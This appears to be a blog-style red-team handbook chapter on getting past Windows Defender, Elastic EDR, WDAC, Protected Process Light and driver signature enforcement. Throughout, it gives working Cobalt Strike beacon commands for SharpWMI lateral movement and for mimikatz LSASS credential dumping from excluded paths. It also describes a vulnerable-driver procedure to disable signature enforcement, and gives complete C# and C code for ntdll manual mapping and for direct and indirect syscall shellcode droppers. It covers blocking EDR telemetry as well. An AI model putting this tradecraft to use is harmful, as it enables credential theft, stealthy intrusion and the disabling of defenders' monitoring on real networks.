[+]: Loading your .NET assembly:C:\Users\AlaaG\OneDrive\Diverse\Shared_Kali\GadgetToJScript-master\GadgetToJScript-master\TestAssembly\bin\Release\TestAssembly.dll
[+]: Second stage gadget generation done.
[*]: Payload generation completed, check: inject.vba
Copy the content of inject.vba to Word macro and save the file as something.doc.
It will bypass static detection of Windows Defender.

Running the Macro will give us a Beacon running as msedge.exe.

However, if we try running the same payload on a machine with ElasticEDR it will generate an alert.

Process Creation from PSExec & WMI
PSExec will, when creating a process, spawn a service on the target machine which then executes the specified commands or application. While WMI (Windows Management Instrument) uses Win32_Process class to spawn a process on the remote target. It does not need to create a serivce like PSExec. It is there more stealthy compared and harder to detect.
Now lets look at the rule for PSEXECSVC.exe and WmiPrvSE.exe.

Since PSExec is from the Sysinternals suite it is not blocked by this rule. So Cobalt Strikes jump psexec and elevate svc-exe are not blocked.
For WMI if we try to use Cobalt Strike Beacon remote-exec or tools like SharpWMI they will get blocked my this rules since they will go through WmiPrvSE.exe.

Microsoft Defender will block the attempt. In order to bypass this we can look at the GetCommandLineExclusion. We can attempt to execute the SharpWMI from C:\Windows\ccmcache.

execute-assembly /opt/sharpWMI/SharpWMI.exe action=exec computername=ag-WIN11-dev-noelastic command="C:\Windows\System32\cmd.exe /c dir C:\Windows\ccmcache\ & C:\Windows\notepad.exe"
We could also run SharpWMI without the need for fork and run using InlineExecute-Assembly.
inlineExecute-Assembly --dotnetassembly /opt/sharpWMI/SharpWMI.exe --assemblyargs "action=exec computername=ag-WIN11-dev-noelastic command="C:\Windows\System32\cmd.exe /c C:\Windows\ccmcache\cache & C:\Windows\notepad.exe"" --amsi --etw --appdomain
> As of today October 2024 the method mentioned above will be stopped by Defender and Elastic as they released patches.
We can also pass arbitrary commands to beacon payload so it dosent have to be executed from cmd.exe
beacon> cd \\ag-WIN11-dev-noelastic\admin$
beacon> upload /root/smb_x64.exe
beacon> execute-assembly /opt/sharpwmi/SharpWMI.exe action=exec computername=ag-WIN11-dev-noelastic command="C:\Windows\smb_x64.exe --path C:\Windows\ccmcache\cache"
Going back to Defender and Elastic detecting these techniques,Ibad Altaf wrote a great blog poston how to evade Elastic using fileless lateral movement and other techniques such as changing file extension and path exclusion.
Credential Stealing from LSASS
Local Security Authority Subsystem Service (LSASS) is a Windows Process responsible for enforcing security policies and managing authentication. Some its tasks is to:
- Verify user logins
- Handles password changes
- Generate access tokens to define user permissions
Since LSASS is a very important Windows component, it is heavily monitored.

This rule above monitor lsass.exe and any attempts at extracting credentials from the lsass.

We can ensure that mimikatz runs from one of the excluded path in order not to get caught.
beacon> spawnto x64 C:\Windows\System32\mrt.exe
beacon> mimikatz !sekurlsa::logonpasswords
It is also possible to inject into an existing excluded process.
beacon> ps
3088 644 OfficeClickToRun.exe x64 0 NT AUTHORITY\SYSTEM
beacon> mimikatz 3088 x64 sekurlsa::logonpasswords
Another tool we could use is nanodump by fortra. To extract the secrets from the dump we could use pypykatz og mimikatz.

Old techniques revisited
At the start of this handbook I talked about r&d in red teaming. Using existing methods for evasion, while applying your own twist to it can go a long way. One great example is this blogpost by Alex Reid - Dumping LSASS Like it's 2019.
Windows Defender Application Control
Windows Defender Application Control (WDAC) is designed to control which application and drivers are allowed to run on the machine. WDAC is much more robust that AppLocker, and is considered by Microsoft an official security boundery. This means that bypassess and vulnerabilities are fixed by Microsoft and the finder gets issued a CVE.
In order to "bypass" WDAC we have to find weaknesses in the deployment of the policy in the organization.
WDAC are defined in an XML file. Microsoft have many default policies. Multiple policies can be merged into one policy and then packaged into a .p7b file format and pushed out via GPO.
Some common rules in WDAC are:
- Hash - allows binaries to run based on their hash values.
- FileName - allows binaries to run based on their original filename.
- FilePath - allows binaries to run from specific file path locations.
- Publisher - allows binaries to run that are signed by a particular CA.
You can find the location of the policies in SYSVOL share in the Registry.pol file. The .p7b file can then be downloaded to attacker machine for offline view.
If you have access to a machine with WDAC applied, you can download the .p7b file from.
C:\Windows\System32\CodeIntegrity
In order to convert the .p7b file into a human readable file we can use CIPolicyParser.ps1.
PS C:\Users\AlaaG\OneDrive\Diverse\Shared_Kali> Import-Module .\CIPolicyParser.ps1
PS C:\Users\AlaaG\OneDrive\Diverse\Shared_Kali> ConvertTo-CIPolicy -BinaryFilePath .\driversipolicy.p7b -XmlFilePath Policy.xml
Directory: C:\Users\AlaaG\OneDrive\Diverse\Shared_Kali
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 10/6/2024 8:11 PM 299077 Policy.xml

Disable WDAC policy
Remove App Control for Business policies | Microsoft Learn
You need to be administrator on the machine in order to disable the WDAC policy rule.
From an elevated command window, run the following command. Be sure to replace the text PolicyId GUID with the actual PolicyId of the App Control policy you want to remove:
CiTool.exe -rp "{PolicyId GUID}" -json
You can find the policy that blocked the executable in Event Viwer.
Event Viewer > Applications and Services Logs > Microsoft > Windows > CodeIntegrity > Operational.
Look for Event ID 3077.
LOLBins, Scripts and Libraries
In my previous posts on here I have mentioned several websites that lists different techniques for Living Off The Land. Handbook II – Advanced – BOOK_GHANIM.
Living Off The Land Binaries, or simply LOLBins, are binaries pre-installed executables on the machine that use legitimate commands to perform malicous actions while remaining undetected.
One example is certoc.exe. This binary can be used to load and execute DLLs with the command
certoc.exe -LoadDLL "C:\test\calc.dll"
In regards to WDAC, Microsoft maintains a list of recommended blocklistto combat the use of LOLBins for malicius activities.
Hereyou can find WDAC policies for blocking files from executing. The way to leverage a trusted Windows binary, script or a library is to find one that isnt being blocked by the policy. GitHub - bohops/UltimateWDACBypassList: A centralized resource for previously documented WDAC bypass techniques
Trusted Signers
WDAC supports two types of certificate policies for controlling which application can run.
- Leaf - Lets you trust specific individual certificate used for signing code.
- Private Certificate Authority (PCA) - Allows you to trust an entair chain of certificate from a CA.
Find already signed binary.
Get-AuthenticodeSignature -FilePath 'Binary' | fl
Enumerate all the template from a CA and look for code signing templates.
execute-assembly C:\Tools\Certify.exe cas # Enumerate CA within an environment
execute-assembly C:\Tools\Certify.exe find /ca:[ca] # Enumerate information about CA
Signing custom binary using command prompt
Creata req.inf
[NewRequest]
Subject = "[subject]"
KeySpec = 1
KeyLength = 2048
Exportable = TRUE
MachineKeySet = FALSE
SMIME = False
PrivateKeyArchive = FALSE
UserProtected = FALSE
UseExistingKeySet = FALSE
ProviderName = "Microsoft RSA SChannel Cryptographic Provider"
ProviderType = 12
RequestType = PKCS10
KeyUsage = 0xa0
HashAlgorithm = SHA256
[RequestAttributes]
CertificateTemplate=[template]
[EnhancedKeyUsageExtension]
OID=1.3.6.1.5.5.7.3.3
Request certificate
certreq -new -config [ca] req.inf req.csr
certreq -submit -config [ca] req.csr cert.cer
certreq -accept cert.cer
Export to PFX to get certificate ID
certutil -user -store My
certutil -user -exportpfx -privatekey -p [password] My [id] cert.pfx
Sign Binary using SingTool(best run from a Visual Studio Developer prompt)
signtool sign /f cert.pfx /p [password] /fd SHA256 [binary]
Singing - Cobalt Strike workflow
On the attacker machine
keytool -genkey -alias server -keyalg RSA -keysize 2048 -storetype jks -keystore keystore.jks -dname "[subject]"
keytool -certreq -alias server -keystore keystore.jks -file req.csr
cat req.csr
https://[ca]/certsrv/ Request a certificate → advanced certificate request paste CSR into box → Submit > DER encoded → Download certificate chain
Import downloaded certificate chain (.p7b file) into keystore.
keytool -import -trustcacerts -alias server -file [chain].p7b -keystore keystore.jks
Add code-signer block to mallable c2 profile.
code-signer {
set keystore "keystore.jks";
set password "[password]";
set alias "server";
}
Sign the executable file

Protected Process
Protected Process (PP) and Protected Process Light (PPL) are security mechanism in Windows. The purpose of PP and PPL is to provide a layer of security to certain process by restricting access from other processes. Only trusted and authorized processes can interact with protected one. PPL is used to extend its protection provided by PP to more cirtical system and security-related process.
The protection hierarchy is as follows:
- PP can access PP and PPL if the signer is greater or equal.
- PPL can access PPL if signer is greater or equal.
- PPL cannot access PP regardless of signer.
The way PP and PPL restrict access is by limiting which operations other processes can perform on them. For example:
- Access Restriction - Restrict permissions like
PROCESS_VM_READ,PROCESS_VM_WRITEANDPROCESS_CREATE_THREAD.
- Memory Protection - Prevent other process from reading or modifying protected process memory unless they have the necessary permissions
- Termination Protection - Only process with same or higher privileges can terminate a protected process. Prevents an attacker from terminating AV process for example.
RastaMouse have created a BOF to enumerate protection level of a process called PPEnum.
Load the .cna in the script manager and run the command ppenum [PID].

PPL Bypassess
Userland PPL bypasses come and go - They get patched by Microsoft.
A guaranteed way to get around PPL is using a kernel based methods like drivers. Kernel driver offers a more reliable way to bypass PPL. Some projects are PPLKiller, mimidrv or writing a custom driver (Driver development course by RastaMouse).
Microsoft does not consider elevating from local admin to kernel mode a security vulnerability, so these bypassess with kernel methods will not be fixed by Microsoft. However, you cannot load a driver that is not legitimatly signed unless Windows Test Signing is enabled.
To run a driver:
# Create a service
sc create MyDriver type= kernel binPath= C:\Windows\System32\drivers\driver.sys
# Start the service
sc start MyDriver
Bypass Driver Signature Enforcement (DSE)
DSE is a securiy feature that ensures that only drivers that are digitally signed by a trusted authority can be installed and run on the system.
A driver allowes the operating system to communicate with hardware devices such as graphic cards, audio cards, keyboars etc. A driver generally runs with kernel-level privilege and the kernel drivers extension is .sys.
> Warning: Be careful when loading drivers, especially unsigned or vulnerable ones, as they operate in kernel mode and can cause system instability or BSOD. Improper handling or exploitation of drivers can lead to critical system crashes and unexpected behavior. Be VERY careful when doing this in an engagement as you may crash critical systems.
In order to bypass DSE is to load a known vulnerable but signed driver and use that to disable DSE, load your malicous driver, then reenable DSE. LOLDrivers have a large collection of drivers that could be used for this purpose.
Lets take an example using Mimikatz. We want to dump LSASS using mimikatz, but the process is protected by PPL. So we first have to disable DSE to load the unsiged driver mimidrv in order to remove the PPL protection from the LSASS process. After disabling DSE, we load mimidrv.sys, re-enable DSE to minimize detection and remove the protection from LSASS and dump it.
So the steps are as follows:
- Find a vulnerable legitimately signed driver from LOLDrivers. Upload it to target
upload C:\maldriver\gdrv.sys.
- Create a service
beacon> run sc create gdrv type= kernel binPath= C:\Windows\System32\drivers\gdrv.sysand start the servivcebeacon> run start gdrv.
- Once loaded, this driver can be exploited to disable DSE. To interact with it, we need to call IOCTL (Input Output Control) that it exposes to userland.
- With DSE disabled we can now load our malicous driver. (Example
mimidrv.sys).
- Enable DSE again to avoid detection.
The API to communicate with the driver is DeviceIOControl. To disable DSE we would modify dwIoControlCode to send a IOCTL for disabling DSE.
DeviceIoControl(
HANDLE hDevice, // Handle to the device (from CreateFile)
DWORD dwIoControlCode, // IOCTL code to specify the operation
LPVOID lpInBuffer, // Pointer to the input buffer (data to send to the driver)
DWORD nInBufferSize, // Size of the input buffer (in bytes)
LPVOID lpOutBuffer, // Pointer to the output buffer (data to receive from the driver)
DWORD nOutBufferSize, // Size of the output buffer (in bytes)
LPDWORD lpBytesReturned, // Number of bytes returned by the driver
LPOVERLAPPED lpOverlapped // Pointer to an OVERLAPPED structure (optional, used for asynchronous operations)
);
CobaltWhispers by NVISOsecurityis an aggressor script that utilizes a collection of Beacon Object Files for Cobalt Strike to perform process injection, persistence and more, leveraging direct syscalls to bypass EDR/AV.
They also have a BOF for disabling DSE which we would look at.
EDR Evasion
EDR Telemetry Project - Windows
An EDR will primarily:
- Collect event data from managed endpoints.
- Analyse the data to identify known threat patterns.
- Where applicable, automatically respond to threats (such as blocking/containing) and raise alerts.
- Aid manual investigations by providing forensic and analysis capabilities.
An XDR ( Extended Detection and Response) on the other hand will integrate and correlate data from multiple sources, such as endpoints, networks, servers, email and cloud.
Below taken from Maldev academy module 82
Bypassing EDRs can be difficult to pull off at first and requires a group of methods and techniques instead of relying on a single approach. The reason multiple methods are required is that EDRs use more than one technique to monitor the process. For example, unhooking doesn't block ETWs events but will solve the userland hooking problem. Sometimes multiple implementations will be required to solve the same problem (this will be demonstrated in the NTDLL unhooking modules).
It is important to bear in mind that some EDR bypass techniques allow the loader to evade detection but not the C&C payload in use. This can be the case due to several reasons:
- The C&C network anomalies are well-known and signatured by the EDR.
- The loader uses direct/indirect syscalls and successfully evaded detection, but the C&C payload doesn't and still uses hooked functions.
- The C&C payload executed a noisy command, either intentionally or unintentionally. Such commands will catch the attention of an EDR, and thus your implementation will be detected (e.g. spawn cmd.exe and execute the
whoamicommand).
- The C&C uses recognizable named IPCs handles or open specific ones (recall that IPCs are Pipes - Events - Metaphors - Semaphores). For example, executing the "load powershell" command using Meterpreter results in the following.
Detecting Hooks
In order to detect if an API is hooked, we can look at the first 4 bytes of the API instruction. These bytes are 0x4c, 0x8b, 0xd1, 0xb8 which corresponds to the instruction: mov r10, rcx; mov eax 26h. If we dont find these bytes, this might indicate that the API is hooked.
To simulate an EDR we can use a tool injdrv which is a Windows Driver that will inject a DLL into a user-mode process using APC.
First we need to enable test signing. This allows us to install and run unsigned drivers.
bcdedit -set testsigning on
Then launch injdrv.
.\injldr.exe -i
When the driver is loaded, it'll register two callbacks:
- For process create/exit notification (PsSetCreateProcessNotifyRoutineEx)
- For image load notification (PsSetLoadImageNotifyRoutine)
Matt Hand, who wrote the book 'Evading EDR', wrote a tool in C# called HookDetector which inspect the first 4 bytes of the API instructions. It hey dont match mov r10, rcx; mov eax 26h then the program concludes that the API have been hooked. I'll expand on this later.
This can be used with execute-assembly in CS. execute-assembly C:\Users\LocalUser\HookDetector\bin\Release\HookDetector.exe

D/invoke Manual Mapping
Manual mapping is a technique for loading a DLL into a process and resolving the location of all its exports wihtout using Windows loader (LoadLibrary).
It allows us to load a copy of ntdll.dll from disk into a new region of memory and executing the API from there. This is done without stomping over the copy of ntdll.dll thats already been loaded. This method of loading would not trigger PsSetLoadImageNotifyRoutine.
In order to use the code below we have to import these DLL's from https://github.com/rasta-mouse/DInvoke?tab=readme-ov-file :

Goto Project > Add Reference > Browse to add the reference.
Since the github repo is updated we have to add one change to the code.

Remember to compile this in x64 not Any cpu as you would get AccessViolationException error.

>
This code demonstrates a manual mapping technique for invoking an unhooked API function within ntdll.dll, specifically NtOpenProcess, which opens a handle to another process. The program first identifies its own process ID and then locates a running instance of notepad. If a notepad instance is found, it maps a clean version of ntdll.dll from disk into memory to avoid any hooks placed by security software on the system-loaded version. Once mapped, the program retrieves the address of NtOpenProcess from the mapped ntdll.dll and prepares the necessary parameters, including a CLIENT_ID structure pointing to the target process ID of notepad. It then invokes NtOpenProcess using the mapped DLL's function pointer, bypassing any hooks on the system’s in-memory ntdll.dll. Finally, it prints the status and handle obtained from the call before unloading the mapped ntdll.dll from memory. This approach helps evade security detections by calling an unaltered API from an unmapped copy of ntdll.dll.
using System;
using System.Diagnostics;
using System.Linq;
using System.Runtime.InteropServices;
using Data = DInvoke.Data;
using DInvoke.ManualMap;
using DInvoke.DynamicInvoke;
namespace ManualMapper
{
internal class Program
{
[StructLayout(LayoutKind.Sequential)]
struct CLIENT_ID
{
public IntPtr UniqueProcess;
public IntPtr UniqueThread;
}
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
delegate uint NtOpenProcess(
ref IntPtr ProcessHandle,
uint AccessMask,
ref Data.Native.OBJECT_ATTRIBUTES ObjectAttributes,
ref CLIENT_ID ClientId);
static void Main(string[] args)
{
// print our own pid
var self = Process.GetCurrentProcess();
Console.WriteLine("This PID: {0}", self.Id);
// find an instance of notepad
var notepad = Process.GetProcessesByName("notepad").FirstOrDefault();
if (notepad is null)
{
Console.WriteLine("No notepad process found");
return;
}
// print target pid
Console.WriteLine("Target PID: {0}", notepad.Id);
// map ntdll
var map = Map.MapModuleToMemory("C:\\Windows\\System32\\ntdll.dll");
Console.WriteLine("NTDLL mapped to 0x{0:X}", map.ModuleBase.ToInt64());
// prepare paramters
var oa = new Data.Native.OBJECT_ATTRIBUTES();
var target = new CLIENT_ID
{
UniqueProcess = (IntPtr)notepad.Id
};
object[] parameters =
{
IntPtr.Zero, (uint)0x1F0FFF, oa, target
};
// call NtOpenProcess from it
var status = (Data.Native.NTSTATUS)Generic.CallMappedDLLModuleExport (
map.PEINFO,
map.ModuleBase,
"NtOpenProcess",
typeof(NtOpenProcess),
parameters,
false);
Console.WriteLine("Status: {0}", status);
Console.WriteLine("hProcess: 0x{0:X}", ((IntPtr)parameters[0]).ToInt64());
Map.FreeModule(map);
}
}
}

Syscalls (System calls)
Direct Syscalls: A journey from high to low - RedOps - English
A system call is a technical instruction in the Windows operating system that allows a temporary transition from user mode to kernel mode. This is necessary, for example, when a user-mode application such as Notepad wants to save a document.
x86 CPUs have four privileges. Windows only supports ring 0 and ring 3 - known as "user mode" (Referred to as "Userland") and "kernel mode".

The Win32 APIs (such as kernel32.dll and user32.dll) are designed to be the first port of call for developers. These APIs will then call lower-level APIs such as ntdll.dll.

A native API call might look like this UserApp.exe -> kernel32.dll -> ntdll.dll -> ntoskrnl.exe.
Every syscall have a unique number, called System Service Number (SSN). This can vary across different editions and Windows versions.
Resources such as j00ru's System Call Table have each SSN documented. There is a new technique "sorting by system call address" popularized by @modexpblog.
The important instructions, which we mentioned earlier is.
mov r10, rcx ; Copy the value from rcx into r10
mov eax, 26h ; Set eax to 0x26. On Windows 10, the SSN for NtOpenProcess is 0x0026.
syscall ; Trigger the system call, switching to kernel mode to execute mmap
ret ; Return from the function, popping the return address from the stack
The instructions are part of a sequence that is preparing for and executing a syscall.
Here I have opened notepad.exe and attached notepad.exe in WinDbg.


^ Extract the memory address of NtAllocateVirtualMemory and then resolve the memory address.
Direct vs Indirect Syscalls
Direct Syscalls
Source2 - Direct Syscalls: A journey from high to low - RedOps - English
A direct syscall skips the usual user-space libraries (ntdll.dll, kernel32.dll) and makes the call directly to the kernel (typically via ntoskrnl.exe in Windows). We mentioned this example earlier, UserApp.exe -> kernel32.dll -> ntdll.dll -> ntoskrnl.exe. A direct syscall instead is UserApp.exe - > ntoskrnl.exe.
This is a technique that allows an attacker (red team) to execute malicious code, such as shell code, in the context of APIs on Windows in such a way that the system call is not obtained via ntdll.dll. Instead, the system call or system call stub is implemented in the malware itself, e.g. in the .text region in the form of assembly instructions. Hence the name direct system calls.
The downside to this syscall implementation is that AV vendors started to flag on part of the syscall stub itself because a user application would not normally execute a syscall instruction.
Here is an example of a direct syscall.

In order to create a direct syscall dropper without access the ntdll.dll we have to implement the functions of the native APIs and the associated syscalls directly in the code of the low level dropper. The required code is implemented in the .text region of the low level dropper.
I will follow the example from Direct Syscalls: A journey from high to low - RedOps - English to make the dropper.
To generate the required code for the direct syscall I will use a tool called SysWhisperes2. This tool can automatically generate the required code.
- syscallsstubs.std.x64.asm
- syscalls.h
- syscalls.c
python3 syswhispers.py -h
. ,--.
,-. . . ,-. . , , |-. o ,-. ,-. ,-. ,-. ,-. /
`-. | | `-. |/|/ | | | `-. | | |-' | `-. ,-'
`-' `-| `-' ' ' ' ' ' `-' |-' `-' ' `-' `---
/| | @Jackson_T
`-' ' @modexpblog, 2021
SysWhispers2: Why call the kernel when you can whisper?
usage: syswhispers.py [-h] [-p PRESET] [-f FUNCTIONS] -o OUT_FILE [-a ARCH] [-l ASM_LANG] [--function-prefix FUNCTION_PREFIX]
options:
-h, --help show this help message and exit
-p PRESET, --preset PRESET
Preset ("all", "common")
-f FUNCTIONS, --functions FUNCTIONS
Comma-separated functions
-o OUT_FILE, --out-file OUT_FILE
Output basename (w/o extension)
-a ARCH, --arch ARCH CPU architecture ("all", "x86", "x64")
-l ASM_LANG, --asm-lang ASM_LANG
Assembler output format ("all", "masm", "nasm", "gas", "inlinegas")
--function-prefix FUNCTION_PREFIX
Function prefix
To generate the necessary code we can run the command below.
python3 syswhispers.py -f NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx,NtWaitForSingleObject,NtClose -a x64 -l masm --out-file syscalls
In the command above we specify the exact native API's required to make our dropper. Move the generated files to your Visual Studio Project.

The syscalls.h file can then be added to the VS project as a header, the syscallsstubs.std.x64.asm (for x64) file as a resource and the syscalls.c file as a source. To use the assembly code from the .asm file in VS, the Microsoft Macro Assembler (.masm) option must be enabled in Build Dependencies/Build Customisations. See the SysWhispers2 documentation for more details.



Below is the code used.
#include
#include
#include "syscalls.h"
int main() {
// msfvenom -p windows/x64/exec cmd="calc.exe" -f c
unsigned char code[] = "\xa6\x12\xd9...";
LPVOID allocation_start;
SIZE_T allocation_size = sizeof(code);
HANDLE hThread;
NTSTATUS status;
allocation_start = nullptr;
// Allocate Virtual Memory
NtAllocateVirtualMemory(GetCurrentProcess(), &allocation_start, 0, (PULONG64)&allocation_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
// Copy shellcode into allocated memory
NtWriteVirtualMemory(GetCurrentProcess(), allocation_start, code, sizeof(code), 0);
// Execute shellcode in memory
NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, GetCurrentProcess(), allocation_start, allocation_start, FALSE, NULL, NULL, NULL, NULL);
// Wait for the end of the thread and close the handle
NtWaitForSingleObject(hThread, FALSE, NULL);
NtClose(hThread);
return 0;
}
The function pointers to the native APIs are in the header file syscalls.h. The code required for the functions and system calls is in the file syscallsstubs.std.x64.asm.
We can use dumpbin using Visual Studio Developer prompt to see which API is imported from kernel32.dll into the IAT. As you can see no Windows API are being improted from kernel32.dll.

Indirect Syscalls
https://redops.at/en/blog/direct-syscalls-vs-indirect-syscalls Syscalls - SysWhispers Indirect Syscalls - HellsHall GitHub - klezVirus/SysWhispers3: SysWhispers on Steroids - AV/EDR evasion via direct system calls.
As we remember from earlier, Direct Syscalls involves invoking system calls directly from an application code, bypassing ntdll.dll all togehter. This can evade user-mode hooks, a technique used by EDRs to intercept and modify the behaviour of functions within user-mode application to monitor execution, but may leave traces behind that can be detected by security tools. This is because the system call originates from a user-mode application directly.
Indirect Syscalls on the other hand redirects the system call to execute withing ntdll.dll. This is done by dynamically locating the address of the syscall instruction within ntdll.dll and jumping to it after setting up the necessary registers. This makes it appear like the syscall is originating from ntdll.dll, which align with the normal application behaviour.
So this means that the execution of the syscall takes place within the memory of the ntdll.dll and is therefor legitimate to the EDR.

@VirtualAllocEx have made a Indirect Syscall POC here.
#include
#include
#include "syscalls.h"
// Declare global variables to hold syscall numbers and syscall instruction addresses
DWORD wNtAllocateVirtualMemory;
UINT_PTR sysAddrNtAllocateVirtualMemory;
DWORD wNtWriteVirtualMemory;
UINT_PTR sysAddrNtWriteVirtualMemory;
DWORD wNtCreateThreadEx;
UINT_PTR sysAddrNtCreateThreadEx;
DWORD wNtWaitForSingleObject;
UINT_PTR sysAddrNtWaitForSingleObject;
int main() {
PVOID allocBuffer = NULL; // Declare a pointer to the buffer to be allocated
SIZE_T buffSize = 0x1000; // Declare the size of the buffer (4096 bytes)
// Get a handle to the ntdll.dll library
HANDLE hNtdll = GetModuleHandleA("ntdll.dll");
// Declare and initialize a pointer to the NtAllocateVirtualMemory function and get the address of the NtAllocateVirtualMemory function in the ntdll.dll module
UINT_PTR pNtAllocateVirtualMemory = (UINT_PTR)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
// Read the syscall number from the NtAllocateVirtualMemory function in ntdll.dll
// This is typically located at the 4th byte of the function
wNtAllocateVirtualMemory = ((unsigned char*)(pNtAllocateVirtualMemory + 4))[0];
// The syscall stub (actual system call instruction) is some bytes further into the function.
// In this case, it's assumed to be 0x12 (18 in decimal) bytes from the start of the function.
// So we add 0x12 to the function's address to get the address of the system call instruction.
sysAddrNtAllocateVirtualMemory = pNtAllocateVirtualMemory + 0x12;
UINT_PTR pNtWriteVirtualMemory = (UINT_PTR)GetProcAddress(hNtdll, "NtWriteVirtualMemory");
wNtWriteVirtualMemory = ((unsigned char*)(pNtWriteVirtualMemory + 4))[0];
sysAddrNtWriteVirtualMemory = pNtWriteVirtualMemory + 0x12;
UINT_PTR pNtCreateThreadEx = (UINT_PTR)GetProcAddress(hNtdll, "NtCreateThreadEx");
wNtCreateThreadEx = ((unsigned char*)(pNtCreateThreadEx + 4))[0];
sysAddrNtCreateThreadEx = pNtCreateThreadEx + 0x12;
UINT_PTR pNtWaitForSingleObject = (UINT_PTR)GetProcAddress(hNtdll, "NtWaitForSingleObject");
wNtWaitForSingleObject = ((unsigned char*)(pNtWaitForSingleObject + 4))[0];
sysAddrNtWaitForSingleObject = pNtWaitForSingleObject + 0x12;
// Use the NtAllocateVirtualMemory function to allocate memory for the shellcode
NtAllocateVirtualMemory((HANDLE)-1, (PVOID*)&allocBuffer, (ULONG_PTR)0, &buffSize, (ULONG)(MEM_COMMIT | MEM_RESERVE), PAGE_EXECUTE_READWRITE);
// Define the shellcode to be injected
unsigned char shellcode[] = "\xfc\x48\x83";
ULONG bytesWritten;
// Use the NtWriteVirtualMemory function to write the shellcode into the allocated memory
NtWriteVirtualMemory(GetCurrentProcess(), allocBuffer, shellcode, sizeof(shellcode), &bytesWritten);
HANDLE hThread;
// Use the NtCreateThreadEx function to create a new thread that starts executing the shellcode
NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, GetCurrentProcess(), (LPTHREAD_START_ROUTINE)allocBuffer, NULL, FALSE, 0, 0, 0, NULL);
// Use the NtWaitForSingleObject function to wait for the new thread to finish executing
NtWaitForSingleObject(hThread, FALSE, NULL);
}
Below is and example of Indirect Syscall vs Direct Syscall taken from redops.at. See sources.
;Indirect Syscalls
; Procedure for the NtAllocateVirtualMemory syscall
NtAllocateVirtualMemory PROC
mov r10, rcx ; Move the contents of rcx to r10. This is necessary because the syscall instruction in 64-bit Windows expects the parameters to be in the r10 and rdx registers.
mov eax, wNtAllocateVirtualMemory ; Move the syscall number into the eax register.
jmp QWORD PTR [sysAddrNtAllocateVirtualMemory] ; Jump to the actual syscall.
NtAllocateVirtualMemory ENDP ; End of the procedure.
;Direct Syscalls
; Procedure for the NtAllocateVirtualMemory syscall
NtAllocateVirtualMemory PROC
mov r10, rcx ; Move the contents of rcx to r10. This is necessary because the syscall instruction in 64-bit Windows expects the parameters to be in the r10 and rdx registers.
mov eax, wNtAllocateVirtualMemory ; Move the syscall number into the eax register.
syscall ; Execute syscall.
ret ; Return from the procedure.
NtAllocateVirtualMemory ENDP ; End of the procedure.
You can see that Direct Syscall executes the syscall directly from the application, transition to kernel mode without using ntdll.dll. While Indirect Syscall jumps to the syscall adress within ntdll.dll.
MaldevAcademys have made a project called HellHalls that uses indirect syscall to execute shellcode. Indirect Syscalls - HellsHall. Note that the public version of this lacks many features thats only available to paid users.

Network Traffic
EDRs can log when processes makes network connections, which can help spot anomalous activity such as C2 beaconing. Consider what type of network traffic your host process is making. An HTTP/S Beacon will make HTTP/S connections, the TCP Beacon TCP connections and the SMB Beacon named pipe connections.
If you are doing an engagement and do an LDAP query from a process who usually dont do LDAP queries, EDRs might flag that as an unusual traffic.
One solution is to use a spawnto that is contextual for that type of traffic. If available, ServerManager.exe and dsac.exe are good candidates for LDAP, as is gpresult.exe.
beacon> spawnto x64 %windir%\sysnative\gpresult.exe
beacon> execute-assembly C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --computers
A tool one might consider is - netero1010/EDRSilencer: A tool uses Windows Filtering Platform (WFP) to block Endpoint Detection and Response (EDR) agents from reporting security events to the server. EDRSilencerwhich uses Windows Filtering Platform (WFP) which blocks the outbound traffic of running EDR processes. It's inspired by Nighthawks FireBlock tool which is closed source.
From the MDSec blog:
>
..internal tools that takes an alternative approach to neutering the EDR telemetry. FireBlock leverages the Windows Filtering Platform to prevent the EDR processes from egressing, and thus preventing it being able to report any alerts. At this point the operator has the freedom to operate without the concern of being detected.
EDRSilencer uses the API FwpmEngineOpen0and FwpmFilterAdd0. FwpmEngineOpen0 initializes the WFP engine, and FwpmFilterAdd0 is responsible for adding a filter that blocks outbound traffic for certain processes.
// Initialize WFP engine
result = FwpmEngineOpen0(NULL, RPC_C_AUTHN_DEFAULT, NULL, NULL, &hEngine);
//Adding filter
result = FwpmFilterAdd0(hEngine, &filter, NULL, &filterId);
Image Load Event
An "image load" event occurs when a process loads a DLL into memory. This is very legimate and many applications have many DLL's loaded.

SIEMs will not ingest all image load events, because that would result in a huge volume. Instead they select specific image load events based on known TTPs. One example is System.Management. Automation.dll which contains runtime for hosting PowerShell. PowerShell and other umanaged powershell tools require this DLL to function.
Running the commands below might result in an alert from Elastic.
beacon> powershell-import C:\Tools\PowerSploit\Recon\PowerView.ps1
beacon> powerpick Get-Domain

We can look at the Elastic detection rule for this alert here.

This rule is designed to detect potentially unauthorized or malicious execution involving PowerShell, especially when unusual or untrusted DLLs are involved, signaling possible attempts to execute code in a manner that mimics legitimate system activity or to hide behind trusted applications.
A possible way that might to circumvent this rule is to set the spawnto binary to one that is known to legitimately loads this DLL.
beacon> spawnto x64 %windir%\sysnative\msiexec.exe
beacon> powerpick Get-Domain
Thread Stack Spoofing
Additional Sources - Sleep Obfuscation - Ekko With Stack Spoofing
Thread Stack (or Call Stack) Spoofing, is another in-memory evasion technique which aims to hide abnormal or suspicious call stacks.
A Stack is a data structure used to store and manage data. It works using LIFO (Last In, First Out) principle. This means that the last item added to the stack is the first to be removed.
A Call Stack is a stack used by programs to manage function calls. It keeps track of which function is currently running, what it needs to do next, and where to return when a function finishes.
For example, the MessageBoxW API in kernel32.dll does not know which function or process called it. Before invoking this API, the program pushes a return address onto the stack. This return address ensures that once MessageBoxW finishes executing, the program can return to the correct location and continue from where it left off.
Why dont the program know where to return to? A program executes code line by line in a specific order. When a function is called, the program has to temporarily pause its current execution to "jump" to the code in that function. The program needs to know where to go back to after the function finishes, which is typically where the function was called in the first place.
A way to obfuscate call stack return address is using stack spoofing. In Cobalt Strike it can be found in the Artifact Kit under src-common/spoof.c. It essentially leverages Fibres to switch the context of the thread stack during Beacon's sleep phase to obscure the actual return address. It can be enabled by setting the "stack spoof" option in the build script to true.

For example: ./build.sh "pipe" MapViewOfFile 296948 0 true true none /mnt/c/Tools/cobaltstrike/artifacts.
